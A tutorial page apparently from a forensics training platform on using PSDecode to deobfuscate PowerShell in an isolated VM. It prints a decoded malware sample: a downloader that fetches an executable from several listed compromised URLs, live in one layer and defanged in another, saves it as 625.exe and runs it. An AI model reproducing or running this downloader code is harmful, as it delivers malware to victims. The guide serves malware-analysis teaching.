PSDecode¶
What PSDecode does¶
Using this tool
PSDecode supports malware analysis. In this guide, you will use it to decode a safe PowerShell training sample and explain the recovered commands. Follow the steps below and keep the output with your notes.
Tool guide at a glance¶
Decode a safe PowerShell training sample and explain the recovered commands.
An inert or purpose built training sample stored in a disposable isolated analysis VM.
A static observation or capability finding with sample hash, tool output, and confidence statement.
Evidence and safety
Do not execute unknown samples on SUSA. Disable shared folders and credentials, and use only authorised training material. Record the input identifier, tool version, relevant commands or settings, time and time zone, output location, and any errors or limitations as you work.
Choose your journey¶
01Understand the evidenceLearn the malware analysis concepts and limitations.Complete when you can explain what the evidence can and cannot show.Beginner · No tool required 02Follow the PSDecode guideFollow the steps and screenshots below.Complete when the documented workflow produces its expected output.Guided · SUSA workstation · Time varies 03Interactive labPractise the tool workflow in a safe browser simulation.Complete when the guided result is supported by the case evidence.Beginner · Browser only 04Full LabUse your own training data, keep the output and explain what you found.Complete when another analyst can reproduce and verify the outcome.Intermediate · Isolated lab
How the labs complement this guide
The Interactive Lab uses example records to practise investigation decisions. It does not run the installed tool or establish how that version behaves. The Full Lab uses your own training environment and evidence. Obtain or create the required input before starting; a case name in an exercise is not a download.
Accessing PSDecode in SUSA¶
PSDecode is a PowerShell deobfuscation tool that helps analysts decode and inspect obfuscated PowerShell scripts. It intercepts common execution functions (such as Invoke-Expression) to reveal the commands a script is attempting to run, making it useful for malware analysis and incident response.
Use an isolated malware analysis environment
PSDecode can expose a script to PowerShell execution paths that the tool does not intercept. Use only known training material in an isolated, disposable VM with networking disabled or tightly controlled. Never run an untrusted script on an evidence source, analyst workstation or production system.
From the PSDecode GitHub repository, download PSDecode.psm1.
Move the script to the C:\Tools\PSDecode folder.
Open an administrator PowerShell prompt. Run the following commands to create a PSDecode directory under $PSHome\Modules, copy PSDecode.psm1 into it and verify the result:
New-Item -Path "$PSHome\Modules\PSDecode" -ItemType Directory -Force
Copy-Item "C:\Tools\PSDecode\PSDecode.psm1" "$PSHome\Modules\PSDecode\"
Get-ChildItem "$PSHome\Modules\PSDecode"
Download a sample of encoded PowerShell script and save it as encoded.ps1 in the C:\Tools\PSDecode directory. In my case, I’ve copied the encoded script from the GitHub repository.
JABjAGsAXwBBADQAQQA9ACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBLAEEAJwAsACgAIgB7ADAAfQB7ADEA<SNIP>ewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwBUAEEAQQAnACwAJwB4ADEAJwAsACcAQQAnACkA
Open a new administrator PowerShell prompt. Run the following commands to bypass the PowerShell execution policy, import the PSDecode module.
Make sure VM is disconnected from the internet and run the following command to decode.
As shown above, the execution is blocked by antivirus, but we can see that script is partially decoded and matches with the original content:
############################## Layer 3 ##############################
$ck_A4A='KAABkDA';$QAUAZD = '625';$rDAcAA='wBXco4';$PDkkkCA=$env:userprofile+'\'+$QAUAZD+'.exe';$IAAAUDZ='jcwCCUQ4';$uox1Cw=new-object NET.WEbcLient;$zwQA1B='https://etprimewomenawards.com/wp-admin/G63C7/@http://healthytick.com/wp-content/uploads/PRBF/@http://servidj.com/cgi-bin/KC/@https://www.ninepoweraudio.com/wordpress/6NA4/@http://matrixinternational.com/Site/Media/css/5Yxi/'.spLit('@');$bcBAQ_='pAwDUAAw';foreach($TGBQUB in $zwQA1B){try{$uox1Cw.DowNlOADFILE($TGBQUB, $PDkkkCA);$aAZ4AADA='BAUDUD';If ((Get-Item $PDkkkCA).LENGTH -ge 28397) {Invoke-Item $PDkkkCA;$TABD4UA='O41AQc';break;$mCDZUA='mDoBcD'}}catch{}}$jZBCCA='TAAAx1'
######################### Beautified Layer ##########################
$ck_A4A='KAABkDA';
$QAUAZD = '625';
$rDAcAA='wBXco4';
$PDkkkCA=$env:userprofile+'\'+$QAUAZD+'.exe';
$IAAAUDZ='jcwCCUQ4';
$uox1Cw=&('new-object') NET.WEbcLient;
$zwQA1B='hxxps://etprimewomenawards.com/wp-admin/G63C7/@hxxp://healthytick.com/wp-content/uploads/PRBF/@hxxp://servidj.com/cgi-bin/KC/@hxxps://www.ninepoweraudio.com/wordpress/6NA4/@hxxp://matrixinternational.com/Site/Media/css/5Yxi/'.spLit('@');
$bcBAQ_='pAwDUAAw';
foreach($TGBQUB in $zwQA1B){
try{
$uox1Cw.DowNlOADFILE($TGBQUB, $PDkkkCA);
$aAZ4AADA='BAUDUD';
If ((Get-Item $PDkkkCA)."LENGTH" -ge 28397) {
Invoke-Item $PDkkkCA;
$TABD4UA='O41AQc';
break;
$mCDZUA='mDoBcD'}
}
catch{
}
}
$jZBCCA='TAAAx1'
############################## Actions ##############################
1. [System.Net.WebClient.DownloadFile] Download From: hxxp://etprimewomenawards.com/wp-admin/G63C7/ --> Save To: C:\Users\REM\625.exe
2. [Get-Item.length] Returning length of 100000 for: C:\Users\REM\625.exe
3. [Invoke-Item] Execute/Open: C:\Users\REM\625.exe